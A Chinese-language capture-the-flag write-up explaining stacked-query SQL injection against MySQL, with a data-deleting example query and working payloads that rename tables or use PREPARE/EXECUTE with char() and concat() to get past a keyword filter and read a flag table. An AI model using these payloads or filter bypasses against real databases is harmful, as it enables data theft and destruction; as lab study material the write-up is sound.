0x01 堆疊注入學習(堆疊查詢,Stacked Queries)
堆疊注入為攻擊者提供了很多控制權,與僅限於SELECT語句的UNION聯合查詢攻擊不同,堆疊注入可以用於執行任何SQL語句。
堆疊注入原理
在sql中,分號表示一條語句的結束。如果在分號的后面再加一條語句,這條語句也可以被執行,繼續加一個分號和一條語句,這樣就可以在一次數據庫的調用中執行多個語句。
舉個堆疊注入攻擊的例子
執行查詢時,第一個語句執行信息查詢,第二個語句則將表user的所有內容給刪除了。
mysql> select * from users where id =1;delete from users;
堆疊注入的局限性
堆疊注入並不是在每種情況下都能使用的。大多數時候,因為API或數據庫引擎的不支持,堆疊注入都無法實現。
0x02 方法一:重命名+堆疊注入
1. 發現可以利用 or 把表中所有數據都查詢出來,但是並沒有我們需要的flag


2. 先看一下庫名,發現很多函數都被過濾了。由於select被過濾了,union查詢也就用不上了。

3. 嘗試一下堆疊注入,果然可以,把全部庫名都給查出來了

4. OK繼續查表名

5. 查看表結構 ,可以發現flag在`1919810931114514`表里
0';desc `1919810931114514`;#
注意:在windows系統下,反單引號(`)是數據庫、表、索引、列和別名用的引用符
eg. mysql> SELECT * FROM `table` WHERE `id` = '123' ;
1919810931114514必須用反單引號括起來,但是words不需要,應該是和數據類型有關
6. 再查看words表的結構,發現一共有id和data兩列。
0';desc words;#
那么可以猜測我們提交查詢的窗口就是在這個表里查詢數據的
7. 那么查詢語句很有可能是 : selsect id,data from words where id =
因為可以堆疊查詢,這時候就想到了一個改名的方法,把words隨便改成words1,然后把1919810931114514改成words,再把列名flag改成id,結合上面的1' or 1=1#爆出表所有內容就可以查flag啦
payload:
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
8. 再用一下一開始的操作id=1' or 1=1#

0x03 方法二:預處理語句+堆疊注入
預處理語句使用方式:

PREPARE name from '[my sql sequece]'; //預定義SQL語句 EXECUTE name; //執行預定義SQL語句 (DEALLOCATE || DROP) PREPARE name; //刪除預定義SQL 語句
預定義語句也可以通過變量進行傳遞:
SET @tn = 'hahaha'; //存儲表名 SET @sql = concat('select * from ', @tn); //存儲SQL語句 PREPARE name from @sql; //預定義SQL語句 EXECUTE name; //執行預定義SQL語句 (DEALLOCATE || DROP) PREPARE sqla; //刪除預定義SQL語句
本題即可利用 char() 函數將select的ASCII碼轉換為select字符串,接着利用concat()函數進行拼接得到select查詢語句,從而繞過過濾。或者直接用concat()函數拼接select來繞過。
char(115,101,108,101,99,116)<----->'select'
payload1:不使用變量
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#
payload2:使用變量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:只是用contact(),不使用char()
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
直接輸入這三個payload的任何一個都能獲得flag
參考文章:
https://www.sqlinjection.net/stacked-queries/
https://www.jianshu.com/p/36f0772f5ce8